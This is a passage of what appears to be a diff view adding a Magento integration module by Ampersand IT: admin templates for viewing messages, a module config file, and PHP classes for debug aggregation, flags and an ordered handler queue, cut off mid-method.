<table cellspacing="0" class="form-list">
|
16 |
+
<tr>
|
17 |
+
<td class="label"><label><?php echo $helper->__('Transmission Date') ?></label></td>
|
18 |
+
<td><strong><?php echo Mage::helper('core')->formatDate($message->getCreatedAt(), 'full', true) ?></strong></td>
|
19 |
+
</tr>
|
20 |
+
<?php if ($service): ?>
|
21 |
+
<tr>
|
22 |
+
<td class="label"><label><?php echo $helper->__('Service') ?></label></td>
|
23 |
+
<td><strong><?php echo $service->getDescription() ?></strong></td>
|
24 |
+
</tr>
|
25 |
+
<?php endif ?>
|
26 |
+
<tr>
|
27 |
+
<td class="label"><label><?php echo $helper->__('Direction') ?></label></td>
|
28 |
+
<td><strong><?php echo $this->getMessageDirectionText() ?></strong></td>
|
29 |
+
</tr>
|
30 |
+
<tr>
|
31 |
+
<td class="label"><label><?php echo $helper->__('Message Name') ?></label></td>
|
32 |
+
<td><strong><?php echo $message->getName() ?></strong></td>
|
33 |
+
</tr>
|
34 |
+
<?php if ($this->getCanDownloadLogFile()): ?>
|
35 |
+
<tr>
|
36 |
+
<td class="label"><label><?php echo $helper->__('Log File Path') ?></label></td>
|
37 |
+
<td>
|
38 |
+
<strong>
|
39 |
+
<a href="<?php echo $this->getUrl('*/message_view/downloadLogFile', array('id' => $message->getId())) ?>"><?php echo $message->getLogFilePath() ?></a>
|
40 |
+
(<?php echo $this->getLogFileSizeString() ?>)
|
41 |
+
</strong>
|
42 |
+
</td>
|
43 |
+
</tr>
|
44 |
+
<?php endif ?>
|
45 |
+
</table>
|
46 |
+
</div>
|
47 |
+
</div>
|
app/design/adminhtml/base/default/template/ampersand_integration/message/view/related-objects.phtml
ADDED
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<div>
|
2 |
+
<div class="entry-edit-head">
|
3 |
+
<h4><?php echo Mage::helper('ampersand_integration')->__('Entity References') ?></h4>
|
4 |
+
</div>
|
5 |
+
<div class="fieldset">
|
6 |
+
<?php echo $this->getChildHtml('grid') ?>
|
7 |
+
</div>
|
8 |
+
</div>
|
app/etc/modules/Ampersand_Integration.xml
ADDED
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
2 |
+
<config>
|
3 |
+
<modules>
|
4 |
+
<Ampersand_Integration>
|
5 |
+
<active>true</active>
|
6 |
+
<codePool>core</codePool>
|
7 |
+
<depends>
|
8 |
+
<Ampersand_Core/>
|
9 |
+
<Ampersand_Adminhtml/>
|
10 |
+
</depends>
|
11 |
+
</Ampersand_Integration>
|
12 |
+
</modules>
|
13 |
+
</config>
|
lib/Ampersand/Integration/ConfigurableInterface.php
ADDED
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_ConfigurableInterface
|
3 |
+
{
|
4 |
+
/**
|
5 |
+
* @return mixed
|
6 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
7 |
+
*/
|
8 |
+
public function getConfig();
|
9 |
+
}
|
lib/Ampersand/Integration/Debug.php
ADDED
@@ -0,0 +1,81 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_Debug extends Ampersand_Integration_Identifier_IdentifierAbstract
|
17 |
+
implements Ampersand_Integration_Debug_DebugInterface
|
18 |
+
{
|
19 |
+
protected $_debugs = array();
|
20 |
+
protected $_valuesToObfuscate = array();
|
21 |
+
protected $_obfuscators;
|
22 |
+
|
23 |
+
public function addDebug($name, Ampersand_Integration_Debug_DebugInterface $debug)
|
24 |
+
{
|
25 |
+
$this->_debugs[$name] = $debug;
|
26 |
+
$this->setData($name, $debug);
|
27 |
+
|
28 |
+
return $this;
|
29 |
+
}
|
30 |
+
|
31 |
+
public function getDebugs()
|
32 |
+
{
|
33 |
+
return $this->_debugs;
|
34 |
+
}
|
35 |
+
|
36 |
+
public function merge($name, Ampersand_Integration_Debug_DebugInterface $debug)
|
37 |
+
{
|
38 |
+
$this->addDebug($name, $debug);
|
39 |
+
|
40 |
+
foreach ($debug->getIdentifiers() as $_identifier) {
|
41 |
+
$this->addIdentifier($_identifier);
|
42 |
+
}
|
43 |
+
|
44 |
+
foreach ($debug->getFlags() as $_flag) {
|
45 |
+
$this->addFlag($_flag);
|
46 |
+
}
|
47 |
+
|
48 |
+
$this->addValuesToObfuscate($debug->getValuesToObfuscate());
|
49 |
+
|
50 |
+
return $this;
|
51 |
+
}
|
52 |
+
|
53 |
+
public function mergeAll()
|
54 |
+
{
|
55 |
+
foreach ($this->_debugs as $_name => $_debug) {
|
56 |
+
$_debug->mergeAll();
|
57 |
+
$this->merge($_name, $_debug);
|
58 |
+
}
|
59 |
+
|
60 |
+
return $this;
|
61 |
+
}
|
62 |
+
|
63 |
+
public function addValuesToObfuscate(array $valuesToObfuscate)
|
64 |
+
{
|
65 |
+
foreach ($valuesToObfuscate as $_type => $_values) {
|
66 |
+
if (!array_key_exists($_type, $this->_valuesToObfuscate)) {
|
67 |
+
$this->_valuesToObfuscate[$_type] = $_values;
|
68 |
+
} else {
|
69 |
+
$_mergedValues = array_merge($this->_valuesToObfuscate[$_type], $_values);
|
70 |
+
$this->_valuesToObfuscate[$_type] = array_unique($_mergedValues);
|
71 |
+
}
|
72 |
+
}
|
73 |
+
|
74 |
+
return $this;
|
75 |
+
}
|
76 |
+
|
77 |
+
public function getValuesToObfuscate()
|
78 |
+
{
|
79 |
+
return $this->_valuesToObfuscate;
|
80 |
+
}
|
81 |
+
}
|
lib/Ampersand/Integration/Debug/DebugInterface.php
ADDED
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_Debug_DebugInterface
|
3 |
+
extends Ampersand_Integration_Identifier_AggregatorInterface,
|
4 |
+
Ampersand_Integration_Flag_AggregatorInterface
|
5 |
+
{
|
6 |
+
public function merge($name, Ampersand_Integration_Debug_DebugInterface $debug);
|
7 |
+
|
8 |
+
public function mergeAll();
|
9 |
+
|
10 |
+
public function addDebug($name, Ampersand_Integration_Debug_DebugInterface $debug);
|
11 |
+
|
12 |
+
public function getDebugs();
|
13 |
+
|
14 |
+
public function setData($name, $value = null);
|
15 |
+
|
16 |
+
public function getData($name = null);
|
17 |
+
|
18 |
+
public function addValuesToObfuscate(array $valuesToObfuscate);
|
19 |
+
|
20 |
+
public function getValuesToObfuscate();
|
21 |
+
}
|
lib/Ampersand/Integration/DebugableInterface.php
ADDED
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_DebugableInterface
|
3 |
+
{
|
4 |
+
/**
|
5 |
+
* @param Ampersand_Integration_Debug_DebugInterface $debug
|
6 |
+
* @return Ampersand_Integration_DebugableInterface
|
7 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
8 |
+
*/
|
9 |
+
public function setDebug(Ampersand_Integration_Debug_DebugInterface $debug);
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @return Ampersand_Integration_Debug_DebugInterface
|
13 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
14 |
+
*/
|
15 |
+
public function getDebug();
|
16 |
+
|
17 |
+
/**
|
18 |
+
* @return bool
|
19 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
20 |
+
*/
|
21 |
+
public function hasDebug();
|
22 |
+
}
|
lib/Ampersand/Integration/Exception.php
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_Exception extends Ampersand_Exception
|
17 |
+
{
|
18 |
+
|
19 |
+
}
|
lib/Ampersand/Integration/Flag.php
ADDED
@@ -0,0 +1,111 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
class Ampersand_Integration_Flag extends Ampersand_Object
|
3 |
+
implements Ampersand_Integration_Flag_FlagInterface
|
4 |
+
{
|
5 |
+
protected static $_typeDescriptions = array(
|
6 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_EMPTY => 'empty',
|
7 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_SUCCESS => 'success',
|
8 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_NOTICE => 'notice',
|
9 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_WARNING => 'warning',
|
10 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_ERROR => 'error',
|
11 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_CRITICAL => 'critical',
|
12 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_BLOCKER => 'blocker',
|
13 |
+
);
|
14 |
+
|
15 |
+
public function setType($type)
|
16 |
+
{
|
17 |
+
$this->setData('type', $type);
|
18 |
+
|
19 |
+
return $this;
|
20 |
+
}
|
21 |
+
|
22 |
+
public function getType()
|
23 |
+
{
|
24 |
+
return $this->getData('type');
|
25 |
+
}
|
26 |
+
|
27 |
+
public function setPriority($priority)
|
28 |
+
{
|
29 |
+
$this->setData('priority', $priority);
|
30 |
+
|
31 |
+
return $this;
|
32 |
+
}
|
33 |
+
|
34 |
+
public function getPriority()
|
35 |
+
{
|
36 |
+
if ($this->hasData('priority') || !$this->getType()) {
|
37 |
+
return $this->getData('priority');
|
38 |
+
}
|
39 |
+
|
40 |
+
return self::getPriorityByType($this->getType());
|
41 |
+
}
|
42 |
+
|
43 |
+
public function setText($text)
|
44 |
+
{
|
45 |
+
$this->setData('text', $text);
|
46 |
+
|
47 |
+
return $this;
|
48 |
+
}
|
49 |
+
|
50 |
+
public function getText()
|
51 |
+
{
|
52 |
+
return $this->getData('text');
|
53 |
+
}
|
54 |
+
|
55 |
+
public function setShortText($shortText)
|
56 |
+
{
|
57 |
+
$this->setData('short_text', $shortText);
|
58 |
+
|
59 |
+
return $this;
|
60 |
+
}
|
61 |
+
|
62 |
+
public function getShortText()
|
63 |
+
{
|
64 |
+
return $this->getData('short_text');
|
65 |
+
}
|
66 |
+
|
67 |
+
public static function getPriorityByType($type)
|
68 |
+
{
|
69 |
+
switch ($type) {
|
70 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_EMPTY:
|
71 |
+
return 0;
|
72 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_SUCCESS:
|
73 |
+
return 15;
|
74 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_NOTICE:
|
75 |
+
return 30;
|
76 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_WARNING:
|
77 |
+
return 45;
|
78 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_ERROR:
|
79 |
+
return 60;
|
80 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_CRITICAL:
|
81 |
+
return 80;
|
82 |
+
case Ampersand_Integration_Flag_FlagInterface::TYPE_BLOCKER:
|
83 |
+
return 100;
|
84 |
+
default:
|
85 |
+
return null;
|
86 |
+
}
|
87 |
+
}
|
88 |
+
|
89 |
+
public static function getTypeByDescription($description)
|
90 |
+
{
|
91 |
+
return array_search($description, self::$_typeDescriptions);
|
92 |
+
}
|
93 |
+
|
94 |
+
public static function getDescriptionByType($type)
|
95 |
+
{
|
96 |
+
if (array_key_exists($type, self::$_typeDescriptions)) {
|
97 |
+
return self::$_typeDescriptions[$type];
|
98 |
+
}
|
99 |
+
|
100 |
+
return null;
|
101 |
+
}
|
102 |
+
|
103 |
+
public static function getErrorTypes()
|
104 |
+
{
|
105 |
+
return array(
|
106 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_ERROR,
|
107 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_CRITICAL,
|
108 |
+
Ampersand_Integration_Flag_FlagInterface::TYPE_BLOCKER,
|
109 |
+
);
|
110 |
+
}
|
111 |
+
}
|
lib/Ampersand/Integration/Flag/AggregatorInterface.php
ADDED
@@ -0,0 +1,15 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_Flag_AggregatorInterface
|
3 |
+
{
|
4 |
+
public function addFlag(Ampersand_Integration_Flag_FlagInterface $flag);
|
5 |
+
|
6 |
+
public function getFlags();
|
7 |
+
|
8 |
+
public function setState($state);
|
9 |
+
|
10 |
+
public function getState();
|
11 |
+
|
12 |
+
public function setDefaultState($state);
|
13 |
+
|
14 |
+
public function getDefaultState();
|
15 |
+
}
|
lib/Ampersand/Integration/Flag/FlagInterface.php
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
interface Ampersand_Integration_Flag_FlagInterface
|
3 |
+
{
|
4 |
+
const TYPE_EMPTY = 0;
|
5 |
+
const TYPE_SUCCESS = 1;
|
6 |
+
const TYPE_NOTICE = 2;
|
7 |
+
const TYPE_WARNING = 3;
|
8 |
+
const TYPE_ERROR = 4;
|
9 |
+
const TYPE_CRITICAL = 5;
|
10 |
+
const TYPE_BLOCKER = 6;
|
11 |
+
|
12 |
+
public function setType($type);
|
13 |
+
|
14 |
+
public function getType();
|
15 |
+
|
16 |
+
public function setPriority($priority);
|
17 |
+
|
18 |
+
public function getPriority();
|
19 |
+
|
20 |
+
public function setText($text);
|
21 |
+
|
22 |
+
public function getText();
|
23 |
+
|
24 |
+
public function setShortText($shortText);
|
25 |
+
|
26 |
+
public function getShortText();
|
27 |
+
}
|
lib/Ampersand/Integration/HandlerQueue.php
ADDED
@@ -0,0 +1,102 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue
|
17 |
+
implements Ampersand_Integration_ConfigurableInterface
|
18 |
+
{
|
19 |
+
const NULL_PATH = '_null';
|
20 |
+
|
21 |
+
/** @var Ampersand_Integration_HandlerQueue_Config */
|
22 |
+
protected $_config;
|
23 |
+
|
24 |
+
public function getConfig()
|
25 |
+
{
|
26 |
+
if (is_null($this->_config)) {
|
27 |
+
$this->_config = new Ampersand_Integration_HandlerQueue_Config();
|
28 |
+
}
|
29 |
+
|
30 |
+
return $this->_config;
|
31 |
+
}
|
32 |
+
|
33 |
+
public function setConfig(Ampersand_Integration_HandlerQueue_Config $config)
|
34 |
+
{
|
35 |
+
$this->_config = $config;
|
36 |
+
|
37 |
+
return $this;
|
38 |
+
}
|
39 |
+
|
40 |
+
public function handle(Ampersand_Integration_Debug_DebugInterface $debug)
|
41 |
+
{
|
42 |
+
foreach ($this->_getHandlers($this->getConfig()) as $_handler) {
|
43 |
+
$_input = $this->_prepareHandlerInput($_handler, $debug);
|
44 |
+
$_handler->setDebug($debug);
|
45 |
+
$output = $_handler->handle($_input);
|
46 |
+
$this->_updateDebug($debug, $_handler, $output);
|
47 |
+
}
|
48 |
+
|
49 |
+
return $debug;
|
50 |
+
}
|
51 |
+
|
52 |
+
protected function _getHandlers($config)
|
53 |
+
{
|
54 |
+
if (!$config) {
|
55 |
+
return array();
|
56 |
+
}
|
57 |
+
|
58 |
+
return $config->getPreparedHandlers();
|
59 |
+
}
|
60 |
+
|
61 |
+
protected function _prepareHandlerInput(
|
62 |
+
Ampersand_Integration_HandlerQueue_Handler_Interface $handler,
|
63 |
+
Ampersand_Integration_Debug_DebugInterface $debug
|
64 |
+
) {
|
65 |
+
$inputPath = $handler->getInputKey();
|
66 |
+
|
67 |
+
return $this->_getFromDebug($inputPath, $debug);
|
68 |
+
}
|
69 |
+
|
70 |
+
protected function _getFromDebug($path, $debug)
|
71 |
+
{
|
72 |
+
if (!$path) {
|
73 |
+
return $debug;
|
74 |
+
}
|
75 |
+
|
76 |
+
if ($path === self::NULL_PATH) {
|
77 |
+
return null;
|
78 |
+
}
|
79 |
+
|
80 |
+
if (is_array($path)) {
|
81 |
+
$input = array();
|
82 |
+
|
83 |
+
foreach ($path as $_name => $_path) {
|
84 |
+
$input[$_name] = $this->_getFromDebug($_path, $debug);
|
85 |
+
}
|
86 |
+
|
87 |
+
return $input;
|
88 |
+
}
|
89 |
+
|
90 |
+
return Ampersand_Object::getDataAtPath($debug, $path);
|
91 |
+
}
|
92 |
+
|
93 |
+
protected function _updateDebug(Ampersand_Integration_Debug_DebugInterface $debug,
|
94 |
+
Ampersand_Integration_HandlerQueue_Handler_Interface $handler, $handlerOutput
|
95 |
+
) {
|
96 |
+
if ((!$outputPath = $handler->getOutputKey()) || $outputPath === self::NULL_PATH) {
|
97 |
+
return;
|
98 |
+
}
|
99 |
+
|
100 |
+
Ampersand_Object::setDataAtPath($debug, $outputPath, $handlerOutput);
|
101 |
+
}
|
102 |
+
}
|
lib/Ampersand/Integration/HandlerQueue/Config.php
ADDED
@@ -0,0 +1,344 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Integration
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Integration_HandlerQueue_Config
|
17 |
+
{
|
18 |
+
/** @var array */
|
19 |
+
protected $_handlerConfigs = array();
|
20 |
+
/** @var array */
|
21 |
+
protected $_handlers;
|
22 |
+
/** @var Ampersand_ClassProvider */
|
23 |
+
protected $_handlerProvider;
|
24 |
+
/** @var bool */
|
25 |
+
protected $_areHandlersPrepared = false;
|
26 |
+
/** @var Ampersand_ClassProvider */
|
27 |
+
protected $_filterProvider;
|
28 |
+
/** @var Ampersand_ClassProvider */
|
29 |
+
protected $_validatorProvider;
|
30 |
+
/** @var Ampersand_Map_Config */
|
31 |
+
protected $_baseMapConfig;
|
32 |
+
|
33 |
+
/**
|
34 |
+
* Stores the configurations of the handlers associated with this handler queue
|
35 |
+
*
|
36 |
+
* @param array $handlerConfigs
|
37 |
+
* @return Ampersand_Integration_HandlerQueue_Config
|
38 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
39 |
+
*/
|
40 |
+
public function setHandlerConfigs(array $handlerConfigs)
|
41 |
+
{
|
42 |
+
$this->_handlerConfigs = $handlerConfigs;
|
43 |
+
$this->_areHandlersPrepared = false;
|
44 |
+
|
45 |
+
return $this;
|
46 |
+
}
|
47 |
+
|
48 |
+
/**
|
49 |
+
* Adds a handler configuration to the queue
|
50 |
+
*
|
51 |
+
* @param array $handlerConfig
|
52 |
+
* @return Ampersand_Integration_HandlerQueue_Config
|
53 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
54 |
+
*/
|
55 |
+
public function addHandlerConfig(array $handlerConfig)
|
56 |
+
{
|
57 |
+
$this->_handlerConfigs[] = $handlerConfig;
|
58 |
+
$this->_areHandlersPrepared = false;
|
59 |
+
|
60 |
+
return $this;
|
61 |
+
}
|
62 |
+
|
63 |
+
/**
|
64 |
+
* Returns the configurations of the handlers associated with this handler queue
|
65 |
+
*
|
66 |
+
* @return array
|
67 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
68 |
+
*/
|
69 |
+
public function getHandlerConfigs()
|
70 |
+
{
|
71 |
+
return $this->_handlerConfigs;
|
72 |
+
}
|
73 |
+
|
74 |
+
/**
|
75 |
+
* Sets the object which will provide new handler object when they are required
|
76 |
+
*
|
77 |
+
* @param Ampersand_ClassProvider $provider
|
78 |
+
* @return Ampersand_Integration_HandlerQueue_Config
|
79 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
80 |
+
*/
|
81 |
+
public function setHandlerProvider(Ampersand_ClassProvider $provider)
|
82 |
+
{
|
83 |
+
$this->_handlerProvider = $provider;
|
84 |
+
|
85 |
+
return $this;
|
86 |
+
}
|
87 |
+
|
88 |
+
/**
|
89 |
+
* Gets the object which provides new handler objects
|
90 |
+
*
|
91 |
+
* @return Ampersand_ClassProvider
|
92 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
93 |
+
*/
|
94 |
+
public function getHandlerProvider()
|
95 |
+
{
|
96 |
+
if (is_null($this->_handlerProvider)) {
|
97 |
+
$this->_handlerProvider = new Ampersand_Integration_HandlerQueue_Handler_Provider();
|
98 |
+
}
|
99 |
+
|
100 |
+
return $this->_handlerProvider;
|
101 |
+
}
|
102 |
+
|
103 |
+
/**
|
104 |
+
* Using the handler configurations stored against this object, gets an ordered array of handler
|
105 |
+
* instances
|
106 |
+
*
|
107 |
+
* @return array
|
108 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
109 |
+
*/
|
110 |
+
public function getPreparedHandlers()
|
111 |
+
{
|
112 |
+
if (!$this->_areHandlersPrepared) {
|
113 |
+
$handlerConfigs = $this->getHandlerConfigs();
|
114 |
+
$this->_handlers = $this->_getPreparedHandlers($handlerConfigs);
|
115 |
+
$this->_areHandlersPrepared = true;
|
116 |
+
}
|
117 |
+
|
118 |
+
return $this->_handlers;
|
119 |
+
}
|
120 |
+
|
121 |
+
/**
|
122 |
+
* Using the specified handler configurations, gets an ordered array of handler instances
|
123 |
+
*
|
124 |
+
* @return array
|
125 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
126 |
+
*/
|
127 |
+
protected function _getPreparedHandlers(array $handlerConfigs)
|
128 |
+
{
|
129 |
+
$handlers = array();
|
130 |
+
|
131 |
+
$handlerConfigs = $this->_sortHandlerConfigs($handlerConfigs);
|
132 |
+
foreach ($handlerConfigs as $_code => $_handlerConfigData) {
|
133 |
+
$handlers[$_code] = $this->_getPreparedHandler($_handlerConfigData);
|
134 |
+
}
|
135 |
+
|
136 |
+
return $handlers;
|
137 |
+
}
|
138 |
+
|
139 |
+
/**
|
140 |
+
* Sorts array of handler configs into correct order based on before and after values
|
141 |
+
*
|
142 |
+
* @param array $handlerConfigs
|
143 |
+
* @return array
|
144 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
145 |
+
*/
|
146 |
+
protected function _sortHandlerConfigs(array $handlerConfigs)
|
147 |
+
{
|
148 |
+
$dependencies = array_fill_keys(array_keys($handlerConfigs), array());
|
149 |
+
|
150 |
+
foreach ($handlerConfigs as $_code => $_handlerConfigData) {
|
151 |
+
if (array_key_exists('after', $_handlerConfigData)) {
|
152 |
+
$_dependencies = explode(',', $_handlerConfigData['after']);
|
153 |
+
$dependencies[$_code] = array_merge(
|
154 |
+
$dependencies[$_code], $_dependencies
|
155 |
+
);
|
156 |
+
}
|
157 |
+
if (array_key_exists('before', $_handlerConfigData)) {
|
158 |
+
$_reverseDependencies = explode(',', $_handlerConfigData['before']);
|
159 |
+
foreach ($_reverseDependencies as $__code) {
|
160 |
+
$dependencies[$__code][] = $_code;
|
161 |
+
}
|
162 |
+
}
|
163 |
+
}
|
164 |
+
|
165 |
+
$sortedConfigs = array();
|
166 |
+
|
167 |
+
$sortedCodes = $this->_sortUsingDependencies($dependencies);
|
168 |
+
foreach ($sortedCodes as $_code) {
|
169 |
+
if (array_key_exists($_code, $handlerConfigs)) {
|
170 |
+
$sortedConfigs[$_code] = $handlerConfigs[$_code];
|
171 |
+
}
|
172 |
+
}
|
173 |
+
|
174 |
+
return $sortedConfigs;
|
175 |
+
}
|
176 |
+
|
177 |
+
/**
|
178 |
+
* @param array $dependencies
|
179 |
+
* @return array
|
180 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
181 |
+
*/
|
182 |
+
protected function _sortUsingDependencies(array $dependencies)
|
183 |
+
{
|
184 |
+
$orderedCodes = array();
|
185 |
+
|
186 |
+
$unassignedCodes = array_keys($dependencies);
|
187 |
+
do {
|
188 |
+
$hasChanged = false;
|
189 |
+
|
190 |
+
foreach ($unassignedCodes as $_code) {
|
191 |
+
foreach ($dependencies[$_code] as $__code) {
|
192 |
+
if (in_array($__code, $unassignedCodes)) {
|
193 |
+
continue(2); // This code depends on a code which has not yet been assigned
|
194 |
+
}
|
195 |
+
}
|
196 |
+
|
197 |
+
$orderedCodes[] = $_code;
|
198 |
+
unset($unassignedCodes[array_search($_code, $unassignedCodes)]);
|
199 |
+
$hasChanged = true;
